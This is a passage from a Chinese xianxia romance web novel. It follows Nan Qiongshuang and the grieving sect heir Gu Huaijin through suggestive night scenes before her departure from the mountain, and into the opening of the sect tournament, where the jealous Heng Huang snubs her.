然后,竟然不管不顾贴上来,腰抵开了她双膝,将她搂得贴在腰上,双手环着,抱着她。 他又开始喘了。 她心里咯噔一下,觉得有些不妙。 她坐在桌台上,位置便比平时高些,似乎是刚巧方便他抱,可是,他竟然仍不满足,将她放上了桌台,又沉沉压下来。她哪里受得住他的力量,不由自主就往后仰倒了下去。 终于受不住了的时候,他忽地松开一只手,撑在桌台上。 另一只手,却将桌上的人又往身前拖了些许,她眼睁睁看着自己微仰着,两个膝盖分开,竟然被他拖着贴在了腰上,一时倒吸了一口凉气。 他身上,似乎又有点不对。 嘴巴沉默着,却另有咄咄逼人之处。 “瑾哥哥!”院外一声脆生生的呼唤。 她急道,“好,好,你有什么要说的,快说便是。人还在外面,不要这样胡闹。” 那样失态,他如今似乎也不在意,只是伏在她背后喘着,一呼、一吸,也不知是心碎还是如何。 许久,他几乎是卑微道,“皎皎,不要这样。……我们本来就没有多少日子……” 说到这,更加说不下去了,手抓着她后背的衣衫,胸膛颤抖着,滚烫的呼吸喷薄在她耳畔: “我跟……我跟她根本没有什么。一会,大师姐和伊师弟也会同去。上次,她那样一闹,我当着众人的面护你,衡掌门发了大火,师叔差点将我罚入逝水牢。我怎样都不肯,我没有做错事,不肯受罚。连着几日,闹得鸡飞狗跳,有些长老支持我,替我说话,终于是免了。” “后来,又在菩提阁内连着吵了数日。衡黄翻了旧账,说我以前就负她,放屁。最后衡掌门说,不必因为小辈而坏了两山多年交情,双方各退一步。这已经是最好的办法,我不得不应下。” 她不咸不淡地垂眸听着。 “他对我说,衡黄来天山一趟,想去行山,要我作陪。师叔说,倘若不去,刚好阴阳钥丢了,便要我去三清峰守星辰阁。三清峰哪里是可以单日往返的?这么多年,也就我前些日子试过一回。” 他那时,为何非要单日往返星辰阁,她是知道的。 她深深吸了一口气。 “倘若去了三清峰,我便得走上少说一两月,你自己在这院子里,那样多的人虎视眈眈,我如何放心?何况,陪同行山,我作为东道主,原本便是应尽的地主之谊,两家世代交情深厚,这实在算不上一个过分的要求。不过不大愿意同她独处,故而拉上了伊海川与大师姐。” 还有人同去? 那么,或许是雾刀心怀鬼胎,故意试探她。 她轻笑起来,“你再将我送去凌绝阁不就行了?” “皎皎!” 那一句话,他恨得难以自控。 她骤然发觉他今日,竟然不留情面,毫不怜惜。 甚至,那一下之后,竟然又敢不躲开,堂而皇之地靠着她,握着她的腰。 单手撑在桌台上,他垂首,声音里尽是难耐的喘息。 这人真是疯了吗?只让他尝到那么一点滋味,就没完没了了,整日里拿这一招来对付她。 就算她真的允许,他真的敢吗?到底是谁不敢? 她笑了一下,“你少这样。你总是有这么多难处,我也早说过了,不想要你为难。何必来跟我解释,我没有要你解释。” 他竟然落寞笑起来,“不解释?”忽而叹息起来,“……好。好。” 声音那样温柔,可是竟然沉着而缓缓地贴来又退开,退开又贴来,喘着,拂得她鬓边碎发一起一落。 那样滚热而粗粝的呼吸,她竟然不觉也麻了半边身子,耳畔几乎有千百只小虫啮咬着,密密麻麻,令人胆寒。 她发着抖,闭上眼睛。 这是在做什么?靠这个来发火? 她不可能因为这点威逼就服软。 忽然院门被人敲得咚咚响,又是那把尖锐得仿佛刀子一般的嗓子,“瑾哥哥!瑾哥哥!” 她才想起来这回事,睁开眼,挣扎起来,“别发疯了,快走,人家在……” 却忽然望进了他那双眼睛里。 混沌、糜乱、焦渴,眼底漆黑一片,望不见底,几乎也看不出是否还有理智。 她错愕着,明白了。 他脑子坏掉了,已经不知道自己在做什么,唯一清醒着的人是她。 院外,衡黄娇滴滴的声音简直如催命一般,阿良也站在门前,又将门敲个不停,“少掌门!少掌门!” 她忍无可忍,实在是没有办法,拍着他的背,“好了,好了,怀瑾。你先去,晚上回来再说。” “晚上?”他眸子里倏然聚了些清明,凑在她唇侧,额头磨蹭着她的眉毛,眼神竟然仿佛在叹息一般,望着她脸孔,“晚上回来,你会好好说话?” 她轻轻喘着,无可奈何,并不太想看他。 许久,他道,“皎皎,你不要生气。我忍她忍得烦 厌极了,我怎么会喜欢她?只是有些面子上的事,不得不做。”他喘着,鼻尖磨蹭她的鼻尖,“我喜欢什么样的,你还不知道吗……?” 她心里化成一滩水,但仍然记得自己计划着要逼他,于是笑道,“什么生气?我不会为山上任何事情生气。” 他愣住了,“那……” “反正一个月之后我下山,会全都忘掉。” 话落地,他不再说话了,甚至连那些有意磋磨她的动作也不再有。 万物静止一瞬,难以再向前。 顾怀瑾僵立原地,沉默了至少一刻钟。 不知过了多久,院门外,衡黄终于耐心耗尽,“到底好没好啊?瑾哥哥,我回去了!” 他终于僵硬着松开她,垂眼离开,连看也没有最后看她一眼。 可是,走到门前,竟然缓了许久,扶着门框,微微打着晃。 南琼霜坐在桌台上,望着他的背影,竟然觉得,怎么像个伤兵一样。 * 当夜,顾怀瑾终于来了。坐在她榻边,深夜里,不点灯,一个人静静望着她安睡,握着她一缕发,有时把玩,有时亲吻。 她在睡梦中被人盯得猛然惊醒,一睁开眼,见一个漆黑的人影坐在她床边,没在黑暗里,悄然无息又不错眼珠地盯着她瞧,偶尔垂眸吻她。 在地宫底下冷眼看阎罗的人,也不免惊了一瞬。 见她醒了,他将她的发从唇边拿下来,“皎皎。” 她有意不去理他,将自己的头发抽回来,翻身朝向榻内,又阖了眼。 “皎皎,又不理我。” 不知为什么,声音仍是他一贯温柔的声音,可是,在夜色里,听起来竟然旖旎又轻慢,简直不像他。 他道:“我来了。在睡吗?” 她刻意不理。 他抚上她的长发,又拿了一缕在手中,“别装睡,乖。” 那声音,简直像一种温柔的威逼。 他今日,怎么这样不对。 她不说话,犹自阖着眼。 黑暗里,他和煦笑起来,“装睡的人,可真是叫不醒啊。” 缓缓掀开她的衾被,摸上她的榻,躺在她身侧,将衾被盖在自己身上。 然后,倾身过来,从她身后,将她环抱住,手放在她小腹,爱昵摩挲着。 什么都还没说,身体已经语焉不详地靠在她身后,滚烫的,烧得她后腰一阵灼热。 他温柔道,“还要装睡吗,皎皎?”叩了叩她的门户。 她受不了,他怎么真的用惯了这一招了?烦躁不已地回身,“做什么,睡觉呢。” 他笑起来,头埋进她的颈窝里,嗅着她的衣领,“不要睡了,我来了。” 这样的话,不知道的还以为是一对野鸳鸯,轻车熟路,趁着夜晚无人,悄悄亲昵。 他不是最道德洁癖的一个人吗? “你怎么能……”她几乎有点语塞,“你怎么能大半夜的偷偷进了姑娘家的房间,还上人家的榻,还在这里……”又顶了一下,她其余的话全噎进了喉咙。 “不是皎皎说的,什么都会忘掉吗?那还有什么所谓?”他笑起来,拥着她,一面在她脖子旁依恋地嗅,一面在她身上爱昵地磨,“既然皎皎全会忘掉,那只要过了我自己这关,就没什么不可以。” “你……”她气笑了,难道你自己那关还真过了? “皎皎,你说得对……你今日真是提醒我了。” 他将她搂得更紧,鼻尖嗅过她后颈,每过一寸,轻微的呼吸就喷落在皮肤上,她那些小小的寒毛颤翕不已,气息落在身上仿佛搔痒,鸡皮疙瘩竟然从脖颈间一路蔓延到胸腹,“反正你也会忘掉,我有什么不可以?” 她发起抖来,意外发觉连顾怀瑾都还没有开始喘,她倒开始口干舌燥,赶忙阖了唇瓣。 这种情况,她也依旧保有一点常胜将军的从容,笑着,“你不是最不强求人的吗?不是说只强求我那一次?别人的想法都在乎,别人的感受都重要,谁也不勉强,只在这里勉强我?” “对,”他竟然笑起来,重重在门上叩,吻上她后颈,“我只强求你,就只强求你。” 她听到了喜欢的字眼,笑起来,“强求我什么?” “今晚,不准睡了。”他在她耳畔呵气,“以后,我每晚都来,你白天睡好,晚上陪我说话。” 她一时竟然不知说什么好。都到了这一步了,他箭在弦上,弓拉得崩满,竟然还不知道往哪里瞄准。 他的气息吐在她耳尖上,她竟然战栗起来,但只是翻了翻眼皮,“滚。” 他不理,密密的吻,毫无遮掩地,纷纷落在她耳畔。 他竟然开始吻她了。 但是,那是不同的意义。吻她的嘴唇,和吻她的耳廓,不一样。 在他对她奉上他的爱以前,他再在她床榻上求生不得求死不能,她也只会冷眼旁观。 顺序颠倒,功亏一篑,前功尽弃。 她闭着眼受着他的吻。她喜欢这种无可奈何的承受,仿佛她是无辜的一个。 他低低道,“转过来。” 她最喜欢逗他,“不。烦不烦?” 他不由分说将她翻过来,不准她侧身背对他,让她平躺在榻上,自己一只胳膊撑在她身侧,又压在了她身上。 一回生,二回熟,他甚至不再自我唾弃。 他垂首,欣赏着身下人散乱鬓发和潮./红双腮,吞咽了一下。 连她也开始喘起来了,两片唇瓣,一开一合,中间一点白生生的贝齿。 他陡然想起那个梦。她的糖葫芦掉了一块糖,在新画的小像上,顿时她就不高兴了,娇嫩的唇揪在齿间,咬着。 他伸出手,小心翼翼地,终于,抚上了她那两片唇。 软的。 跟他梦里的触感一样软。 就是这两片花瓣一样的东西,折磨他已久。 南琼霜倏然愣了。 他伏在她身上,垂首,长发松散披落在她身侧,大拇指按在她唇瓣中间,眷恋不已地揉着,摩挲,不肯放。 他以前,哪里敢动她的嘴唇。 他侧首凑过来,这回,竟然敢凑得离她的唇只有半寸远,呼吸交错,彼此交缠,一呼、一吸。 他这时候才发觉,竟然连呼吸都会这样意义难明。 呼,就是插。吸,就是抽。一呼、一吸,就是一./插、一./抽。(此处仅为心理描写,无实质行为) 他到底在想什么? 他喜欢想。 她在故意激怒他的时候,在故意冷落他、忽视他、品味他的心碎的时候,就没想过会有这一天吗? 他笑了一下,那声音嘶哑而低沉,仿佛已经干渴: “皎皎,如果我吻你,你会生气吗。” 她心里一动,这也是她喜欢的字眼,“不会。” 黑暗里,他竟然愉悦笑了起来,伏在她身上,“太好了,……那就更加不能吻。” 她简直不敢相信,他摸着她脸颊,大拇指刮着她尖尖的下颏,“我是发现了,皎皎。仔细对待你,你就不懂得仔细对待我。心疼你,你就不懂得心疼我。唯有逼你……强迫你做,应了也就应了。” 她竟然将“应”这个音听成别的字,吓了一跳。 “我真是……我怎么会竟然……”他伏在她身上,竟然发起抖来,“你这样心狠,我为什么……” “我真是受不了你……白日里我那样想你,每日临走前都去你屋里看你一眼,好不容易见你,你就这样对我。我难过,你是不是从来不心疼的,皎皎?” “你想下山,我让你下山。你要走,我放你走。我怎么样都是我的事。还想怎样?” “我们本来就没有多少日子,你想要什么,我会给你准备好一切。只是剩下这些日子,这件事情,能不能不提了?能不能?” 他的眼泪砸落下来,噼里啪啦,砸在她心口,潮湿一片,闷窒惊人。 第63章 她其实并没有想到,他竟然真的伤心至此。伤心到,哪怕只是顺便一提,挨了七十鞭面上都不显的人,竟然会泪如雨下。 这个样子,倘若知道了她不仅要下山,还要跟李玄白下山,岂非当场就会崩溃了? 她竟然也会不忍,伸出手抚摸过他脊背,缓缓搂住:“好了,怀瑾,你何至于此?我还没有要走呢。” 他骤然得了她的安慰,像行将冻毙的人忽然被喂了一勺暖汤,缓是仍缓不过来,只是觉得疲劳而麻 痹,沉沉地伏下去,压在她身上,头钻进她颈窝里的发间。 缓缓呼吸她的发香。 不知道还有多久,就闻不到了。 他闭上眼,吻了吻她的脖颈。 她笑起来,“这回不用扇子了?” 她一笑话他,他就有点懊恼,大拇指在她唇瓣上揉着。 那样柔软,倘若有颗露珠砸在她唇上,大概都会激得这两片唇颤一颤。 他这一生,究竟还有没有机会吻一吻她这两片唇? 南琼霜看着他忽然昏沉如暮色的眼睛,心里明白,他又在惦记着吻她。 盯着她的唇看,是在惦记着……接吻。 她不由自主笑了一笑,唇角勾起,两片唇舒展开,仿佛一朵花缓缓绽放。 来吻我吧。 把你所有想说的话、想做的事,毫无遮掩地,告诉我。 然后,承认你爱我,承认你离不开我,承认你任我摆布,承认你——臣服。 她笑起来,“看什么呢,公子?” 明知故问的时候,她喜欢唤他公子。 他痴缠而缱绻地盯她的唇,盯了许久,喉结也滚动了许久。 最后,手覆上黑暗里她过分明亮的双眼:“睡吧,皎皎。我陪你睡。” 顾怀瑾过分克己,这么长时间,她不是不恼火。 可是,这一晚,她竟然睡得极其安稳。 她哪里是睡得沉的人,往往无事也会惊醒,窗外鸟儿夜啼便足够她清醒一夜。 倒是被顾怀瑾抱着,竟不知不觉睡得沉了。 醒来,天光已大亮。 起来才发现,床榻另半边已经没有人了。甚至连衾被都冷着,显然是人已经起了一会,早出去忙公务了。 不过,大清早的,竟然将床单、衾被整个换过了。 不知道又发的什么疯,也不知道用的什么法子,让她这个向来觉浅的人毫无觉知。 自从那一夜之后,他不论多忙,夜里都回她屋里歇息。有时候,摸着黑进屋,见她睡着,便什么也不干,抱着她睡一夜。第二日早上,连声招呼也来不及打,便又走了。 倘若不是每日早上起来,衣领都被他夜里的泪湿透,床单又都换了一遭,她简直无法确信他当真来过。 他的眼泪,她明白,但是床单呢? 有一日他终于得了空,白日里来看她,站在桌边替她研墨,她随口问:“我倒是一直奇怪,你自己睡的时候,也是每日都要将床单换一遭吗?” 他不知为何,捏着墨条骤然沉默了许久,最后淡淡道:“你不要问。” 他那讳莫如深的语调,倒更让她好奇:“不要问?” 他只是重复:“你不要问。” 她眨眨眼,隐约品出来一点不对。 直到有天清早,即便有顾怀瑾在身侧抱着她,她也醒得早了些,在他怀里转了个身,没想到,猝不及防地刮上了什么东西。 南琼霜:…… 她这时才明白,这些日子以来是为何。 她也当真是没有想到,天底下竟然有男人,可以天天跟心上人同床共枕,成了这个样子,都不越雷池一步的。 他是真君子,但是真君子克她。 这样拖下去,恐怕非卡在三月之期不可。 于是,某个晚上,她终于叫顾怀瑾发现了她这些日子写的东西。 是她列出的在山上最后想做的事、下山前想准备的东西、下山之后的打算。 那一日,他捏着那一沓薄软的宣纸,站在花窗前,仿佛读不懂似的,从头到尾,看了又看,读了又读。 到最后,终于将那些虚张声势的东西放下,回首望她时,脸色已经如鬼一般惨白,却依旧温柔道: “皎皎,除去这些,还有什么想带走的吗?我去帮你准备。” 她一时竟然无话可说。 夜里躺在榻上,他依旧从她背后拥住她,只是搂得更紧,搂得她几乎喘不过气。 他问:“皎皎下山以后,想做什么?” “还没想好。我喜欢自由,大约还是回江上做船娘吧,来去自如。” 他吻了吻她耳畔,“原来皎皎喜欢自由。” 她低低叹息:“这么说,你不想我走吗?” 他只是道:“皎皎,你开心比我开心更重要。” 她说不出话,心里也如一团乱麻。 许久,黑暗里,终于问出一句:“那么,你不怕我忘了你吗?” 那一晚,月亮被云翳遮住了,屋里一点光亮也不见。 什么东西又滚落入她衣领,他搂着她,低低地道: “怕。” * 那一个月里,她想要的东西,无论如何没有逼出来。 或许是因为,只要与李玄白无关,她的一切要求,他都愿意满足,她的一切愿望,他都愿意成全。 包括下山。 到后来,她彻底明白了,顾怀瑾是将“爱是成全”当作箴言的人,不论怎样,在大比之前,她都不可能从他那得到她需要的东西。 她终于放弃了,懒得折腾,也不忍再伤害他。 于是,当他夜里再次猝然惊醒,甚至连她都被带得一激灵醒了过来时,她开始回过身去哄他,伸出手帮他擦去那些温热的泪,由着他把她按在怀里,哪怕垫着他的胳膊,躺得并不舒服。 有时,竟然也会主动去吻他。 连她自己都奇怪,怎么会想去吻他。 她都想不通,顾怀瑾就更想不通。 第一次去吻他的时候,她玩心发作,提了一嘴“下山之后或许两年内便嫁人”,话音刚落,再去摸他的脸,就摸到了一手湿热的泪。 他拥着她,说:“这么快啊。” “是啊。” 他吻着她耳廓,“如果不如意,可以随时回天山找我。” 她笑起来,“和离过的,兴许还是被休的,你也要?” 他道:“要。” 于是她竟然也开始觉得自己过分,明知道还不会离开他,却天天用他受不了的事情逗弄他,惹得人心碎一地。 她在他怀里转了个身,面对着他,轻轻拿袖子去沾他的眼泪,“其实,倘若你要我留下来,或许我也会留下来。” 这是她最大限度的提醒了,在她眼里,已经是不该说的话。 但是他说:“皎皎,如果你要的是自由,那没有什么比自由更重要。” 南琼霜在往生门内拼死拼活十三年,好事坏事做尽,拼着一口气,不过为最后几日自由,所以这话听得她落下泪来。 她轻轻道,“傻子。”捧着他的脸,去吻他湿润了的长睫。 他睫毛颤抖着,眼泪微咸,她本以为他会羞涩,至少也会僵硬,没想到,只是顺从地由着她吻。 她那时候才猜出来,或许他想要她吻他,已经想了许久,所以才这般自然而然,几乎是熟稔的,由着她碰。 他从来不许自己随便碰她——至少她不故意激他的时候是这样。 但是,她碰他,怎样碰都可以,吻哪里都行,他没有一点抗拒。 除了有一回。 她夜半莫名被一阵布料窸窣的声音惊醒了,发现身后的人竟然没有搂着她,一时竟有些不适应,回身去看他。 夜里很暗,月光只照着窄窄的窗边,她看不清他的脸,可是房间里的声音忽然停了下来,他似乎吓了一跳,“……怎么醒了,皎皎?” “什么声音?”她迷迷糊糊。 “什么什么声音?”他轻轻道,“听错了吧。好好睡觉。” 她越发觉得不 对,以前她夜里惊醒时,倘若他也醒了,会吻着她再哄她睡。 可是这回却只是在他那一侧平躺着,既没有过来吻她,甚至也没有过来抱她,只是自己在他那一侧。 她道:“怎么了?” 他似乎有些紧张:“什么怎么?” 他不对劲。 南琼霜晓得,当人想瞒着什么事的时候,问是问不出来的。于是只是又朝着榻的里侧合了眼。 她原本就睡得浅,惊醒之后就更不容易入睡,于是,夜半时分,她半有意半偶然地,忽然听见榻的那侧,响起了他的呼吸声。 那些呼吸,紊乱深重,然而似乎又在刻意抑制着,只敢轻拿轻放,最终变为一些无可奈何的、喟叹般的喘息。 衣料和衾被的摩擦声细细碎碎、窸窸窣窣,连床帐都在轻微地摇。 南琼霜脸孔埋在衾被里,听着那一侧渐渐响起一些啧啧水声,神色倒是如常,只是觉得有点有趣。 他也有忍不住的时候。 这时候去叫他一声,说不准会把他吓个半死。 于是伸出一只胳膊,搭上他的腰,人也跟着靠过去,额头贴上他的身体: “怀瑾,抱我嘛。” 顾怀瑾僵硬了少说有一盏茶的时间。 她实在是没忍住,埋在衾被里笑了一声。 他躺在那里,竟然不敢动,也不肯说话,不论她说什么,他都只是不答话。 他真的太有趣了,她受不了,怎么会有男人这么好玩?她又捏出一把无辜又天真的嗓子,手顺着他腰间,缓缓地、语焉不详地往下摸,一边演着:“抱我嘛,今天怎么不抱我。” 顾怀瑾猛地抓住了她的手腕,又触电似的,猛地放开了。 那被窝里,已经被他烧得滚烫。 他喘着:“皎皎,怎么还没睡……” 她笑,“你怎么还没睡?”手又往下。 他骤然攫住,“别动。” 她装委屈:“今天怎么不让我碰?” 他胸膛起伏了许久:“……听话。” “听话?为什么要我听话。”她笑起来,伏在他脸侧,吻了吻他汗湿了的鼻尖,一点微咸的汗,和他的眼泪一个味道: “你才要听话。快睡吧。” 第64章 山上大比的日子越来越近,下山的日子也越来越近。 她下山的日子,定在六月十七。 自从她下山的日子确切定下,顾怀瑾虽然没有多说一个字,但是他究竟怎样,她都看在眼里。即便有时忙得不可开交,一整天打不了一个照面,但偶尔她在窗前瞥见他一眼,就已经能看出他整个人,已是疲惫麻木已极,眉目里不止是抑郁,几乎已经开始迟钝。 他开始颠三倒四,魂不守舍,好好地批着公文,忽然就开始神思天外,谁叫也叫不回来。说着话,转过身就开始出神,连他自己也忘了刚刚在说什么。 山内所有人都瞧得出他的不对,也几乎所有人都明白他为何不对。慧德为此将他罚下静心瀑不止七八次,每次他都顺从地领罚,回来,原样照旧。 天山还特意为此召开过山内大会,专门骂他,但不论众长老如何震怒,顾怀瑾都只是低低道知错,然后沉默照旧、迟钝照旧,唯有回暮雪院时,看得出一点勉强笑意。 身病易治,心疾难医。最后连慧德也无可奈何,只能睁一只眼闭一只眼,由他去。 连慧德都无法,他也就越发得寸进尺,将所有公文都一并送入她房间批阅,每日依旧是忙公务,只是大多时间,都将自己关在她房间里。 她睡觉,他在她身侧,她醒着,他在她身侧,寸步不离,不错眼珠,永远只在她两三步开外。 虽然如此,却永远不对她抱怨怨恨一句,甚至似乎怕她为难,这样放不了手,也有意遮掩,整日里对她笑着说没事。 他哪里是没事? 到后来,顾怀瑾的这种神伤,到了连她也要感慨一句“何至于此”的程度。他整夜整夜地失眠,抱着她,一睁眼睛就是一夜。 后面不得不找了屈术先生来调理,然而调理好了,反而自己不愿睡了。抱着她,如果她偶尔惊醒,便和她说几句话。她不知有多少回,睡梦中竟然被人盯得一激灵醒来,睁开眼睛,发现他哀切又眷恋地在深深夜色里凝望她,明明是爱,她却觉得触目惊心。 后来有一天,他在桌前批着公文,她实在闲得无聊,走去花窗前看外面的树浪,一垂眼,竟见山上那些盖着密字章的公文明晃晃摊开在她眼前,一点也没有避着她。 她都惊了一瞬,笑,“山上不都说我是细作?你就这么给我看?” 他抬起头来,浅浅笑着,“若真是细作,倒还好了。” 那句“倒还好了”,究竟是什么意思,她没敢问。 默了半晌,她忽然见桌角放着几颗玻璃珠,捏在指尖对着日光仔仔细细地看,他忽然出了声:“那是我的本命珠。” “本命珠?” “就是每次你去见李玄白,我用的那些。”他依然笑得温煦。 据说,天山派之所以封山百年,便是因为《天山心经》中的驭珠之法过于奇特,常有贼人觊觎,因此才大兴机关防守,不准外人上山。 对于山内人而言,不仅驭珠之法不准外传,自己的本命珠更是时时小心,不准外人瞧见。 他的珠子却直白放在她眼皮底下,甚至由着她放在掌心掂量。 那珠子浑圆剔透,瞧着似乎是玻璃的,然而又说不出到底是什么材质,似乎中心与外缘是两种材料,中间实,外缘剔透,流光溢彩。彼此相击,一片玎珰脆响,仿佛潺潺流水。 她道:“你们用这些珠子打架,岂非每人得备上个一百两百颗?” 他笑,“哪里有那样多。你以为这珠子是好寻的?本命珠需与各人个性相配,属性相合,一旦用熟了,十几年都不会崩碎。倘若丢了一颗,再寻新的来配,往往需要数年,便是运气好,也要个一年半载。谁敢弄丢?” “这么厉害的东西。”日光下,那晶莹珠子映着光近乎斑斓缤纷,她叹了一声,“真好看。” 他抬起头来,“皎皎喜欢吗?” 她道:“喜欢。可惜不是用来打首饰的东西。” 他笑:“那属实是太浪费了。皎皎若是喜欢,我倒也可以替你找些合适你的珠子,但即便如此,也不是拿来玩的东西。倘若你想留在山上……”说到这,又不往下说了。 从前,一提到“下山”两个字,他当即便变了脸色,一个字也说不出来。但是,日子越来越近时,他虽然整日心神恍惚,提到这两个字,却不似从前那样崩溃,只是仿佛已经习惯了似的,止住话头,换个话题。 “皎皎临下山前,还有什么事想做?” 她沉吟:“行山?” 他握着毛笔,将公文翻了一页,不说话了。 她明白他那意思,他整日公务缠身,走不开,不能日日陪她闲逛。若真要行山,有本事、向着她、又与她相熟的人,只有那一个。 他垂着眼:“只要跟他没关系,皎皎想要什么,我都可以满足。” 她无可奈何,摇摇头笑了。 他淡淡道:“皎皎下了山,山上就只剩我一个人了。所以还在山上的时候,皎皎就只能属于我一个。” “你哪里是一个?不是父亲、师叔、师兄弟都在山上么。” 他平静垂着长睫,许久没有说话。最后轻描淡写:“至亲至远,人人用我而已。” “我在山上只有皎皎,虽然皎皎在山上倒不是只有我。”他笑了一下,轻轻道,“倘若不是在这个位置,我会与你一同下山。” 她一时竟然语塞,走去他椅子旁,俯下身子搂他。 这个话题,他如今也适应了,伸出手来抚摸她的脸,“除了这个,还有什么想做的吗?” 她道:“山内大比,我能不能去看看?” 看大比,是不是为了看那李玄白? 这个问题,他没有问。 山上大比,他脱不开身,只有夜里回得来,白天看不见她,他受不了。 所以他道:“好。” * 山上大比,刚刚好好,卡在三月之期。 过了些日子,顾怀瑾替她准备的下山行李,终于慢慢慢慢收拾好了。她几次三番说过,不要带得太多,于是顾怀瑾又挑挑拣拣,剔除了一批,挑了一些至关重要、她一定用得到的,精简成一个精致的锦布包裹,搁在角落里,蒙上布,不愿意看见。 然后,山上大比的日子终于到了。 山上大比只有三天,即是说,三日大比之后,她便要下山。 大比当日,顾怀瑾亲手替她梳了头、别了发簪、戴了耳坠,一个月以来,终于允许了她踏出房门。 大比场地设在半山腰一块宽阔的练武场。 刚刚卯时,日头初初升起,正是生而未熟的晨曦,仿佛过早落下的生瓜,清瑟潮湿。 天色微微泛蓝,金黄的太阳被远处苍青山头掩去一角,练武场正设在两山之间低洼的谷底,此时被曙光照亮了中间一截,两侧依然扣在泛蓝的山影里。 练武场早已人满为患。 顾怀瑾生得太过显眼,她在他身边,连带她也一起成了众目焦点,一路上路人不断回头瞧她,迎面走来也瞧,擦肩而过也瞧。她虽然早明白自己在这山上已经是众矢之的,但此前毕竟也没有真正参与过山内集会,无非听宋瑶洁骂她几句,并没有几分实感。 今日一来,她方知自己在山上已经是如何无人不晓。 顾怀瑾大概是感觉到她抓着他衣袖的手紧了紧,“别怕,我在。” 她道:“我不是怕……”只是,每个人,不仅在看她,而且是新鲜、打探、窥测的看,似乎回过身就要开始说两个人的闲话。 她才今日出来一天,就已经感觉山上人言可畏。顾怀瑾这些日子,不知道是怎样过的。 练武场底下的看台入口处,一个青年倚在墙上,抱着剑,束发束得一丝不苟,连一根碎发也无,见了顾怀瑾,放下剑抱拳:“大师兄。” 是伊海川。 顾怀瑾颔首,手略略做了个介绍手势:“这位就是楚姑娘。” 南琼霜垂眼行礼。 伊海川略回礼,对顾怀瑾道:“已经在点卯了。点过卯后便要抓阄,师兄快去吧。” 他道:“我过会便去,先将皎皎安顿好。” 伊海川催促:“师兄还是先去点卯为好。” 顾怀瑾握着身旁人的手不松:“过会。” 伊海川无言以对,据说少掌门为了这个带上山的女子魂都丢了,原来是真的。 他一时不好再说什么,识趣退开一些。 南琼霜忽然道,“你们山上怎么六月份卖糖葫芦?” 远处重重白色衣影中间,有个竖着草靶子的推车,一个大腹便便的弟子抱着肩膀立在一侧,草靶子上,竟然插满了红彤彤的糖葫芦。 “山里有些弟子不喜练功,就借着封山之便,在山内做些小买卖。”他忽然想起那个梦,“皎皎想要吗?” 她其实兴趣缺缺:“还好。” 顾怀瑾递给伊海川几个铜板:“帮我给皎皎买一串吧,伊师弟。我在这里陪会她。” 伊海川接在手里,望着他的脸,惊觉他近些日子憔悴得不像个活人,这个样子,怎么还要强撑着大比? 他道:“师兄,你真的还好吗?” 顾怀瑾自己倒是毫不在乎:“无妨。” 伊海川倒吸一口冷气,一时竟然不知说什么好。他希望山内并无细作是真,但不忍自己师兄如此自我折磨也是真,环视一圈,见并没有人在特意放耳朵听这边,凑近道: “大师兄既是少掌门,倘若真不愿放楚姑娘下山,关上朝瑶峰强留,便也留下了。朝瑶峰是顾氏禁地,师叔的手都插不进,师叔都奈何不了,她又能如何?大师兄何必如此自苦?” 顾怀瑾站在原地,不知在听还是没在听,垂眸沉默许久。 良久,他面色雪白:“多谢师弟劝慰,只是,顾某还从未将‘强占’二字同自己联系起来过。” 伊海川叹道:“大师兄好好想想。这是何苦呢?” 他颔首,“谢师弟关心。过会我去点卯,劳烦师弟在这里陪着皎皎。她在山上已经几次三番遇险,她身边没人,我不放心。” 伊海川:“我先去给楚姑娘买串糖葫芦。师兄快去吧,一会误了时辰,抓点卯的师父较真,还需与他费口舌。” 顾怀瑾点头,却仍是左耳进右耳出,牵着她的手往观武台内圈中央走,“一会,皎皎就坐在这里,他们都知道你是谁,无须礼让。坐在最中间,我在台上台下都瞧得见你,心里才能放心。” 一路走来,迎面相遇的弟子挨个向顾怀瑾屈身行礼,顾怀瑾一一点头敷衍过,专心嘱咐: “今日我恐怕不得空来你身边,只能远远瞧你一眼。这么久了,也没有过一整天见不到面的时候,皎皎……不准和他说话。晚上回来,也不准不好好说话。” 他还记恨着前些日子,几天不见,她拿话刺他的事呢?南琼霜有点哭笑不得。 顾怀瑾没听到她答话,回身望她一眼,捏了捏她的耳垂。 她反应过来:“好。我坐在这,你快去吧。” 他垂眼,牵着她的手在袖中又摩挲她一番。 带她来,是因为不见面,不舍得。可是怎么,他只是要去台下点个卯,竟然也不舍得。 早知道,早上起来的时候多亲亲她。 他道:“好,那我先去。伊师弟过会来陪皎皎,其余任何人给皎皎什么东西,要带皎皎走,千万别轻信。” 他当她是小孩子吗?南琼霜笑得有点无奈:“好。” 顾怀瑾终于安心走了,那一抹雪山般的身影渐渐消失在人群之中。 南琼霜闲着无事,四下环顾,一望,观武台上前前后后上下左右,竟然全都在探头探脑地看她,她一下子只感如坐针毡,只好坐在原处,收回目光,若无其事。 不一会,伊海川回来了,递来一支糖葫芦,“楚姑娘。” 忽然一只染着蔻丹的手搁在伊海川眼皮底下,掌心向上:“我要。” 回身一看,衡黄抱着肩膀,歪着头,耳下小红耳坠乱摇着,见了她,笑了。 南琼霜懒得理睬她。这也要抢? 伊海川愣了一瞬,正为难着,衡黄走到伊海川身侧,看了看自己五个指甲,心不在焉,“你打算是给她还是给我?” 伊海川:“衡小姐,这是我们少掌门的吩咐。不过一支糖葫芦,我再去替衡小姐买。” 衡黄看着他,皮笑肉不笑:“最后一遍。你打算给她还是给我?” 伊海川为难看看衡黄,又为难看看南琼霜,衡黄叹了一声,拨着颈项上的翡翠珠,“你知不知道我是谁?知不知道这山上谁管事?”她笑了,“少掌门?别说你们少掌门不在,就是你们少掌门今天在这,我要,他也不得不给。” 南琼霜笑着:“不必为难,给她便是。” 伊海川恭敬抱拳,将那支糖葫芦递到衡黄摊开的掌心中。 衡黄似笑非笑地一躲,那支糖葫芦一下子掉落下去,砸在她长发上。如今山上不热但也不算寒凉,那糖黏糊糊的,瞬间糊在她头发和白衣上,落下一些微红的印记。 南琼霜最是喜洁,一时烦躁不已,却见衡黄笑了,仿佛觉得伊海川蠢似的,食指绕着碎发:“什么好东西?刚才要,你没给,眼下难道我还真会要?” 提起裙角,抬脚,踩在那糖葫芦上好整以暇地碾:“这种东西,也就只有她要。我说要,不过是因为,就算我不要,她也不能有。” 南琼霜那点因洁癖而起的心火顿时消了,一瞬笑了起来。 这个衡黄,真的好嫉妒她啊。 那么,她是真的喜欢顾怀瑾,也是真的看出了顾怀瑾喜欢她。 这算 褒奖。 衡大小姐的脾气,伊海川也有所耳闻,断不是他这个身份可以硬碰硬的,于是只能垂首抱拳:“是。” 衡黄撩着眼皮看他:“你还在这干什么?滚啊。观武台正中央,你也能坐?” 伊海川:“少掌门命我在此陪伴楚姑娘。” 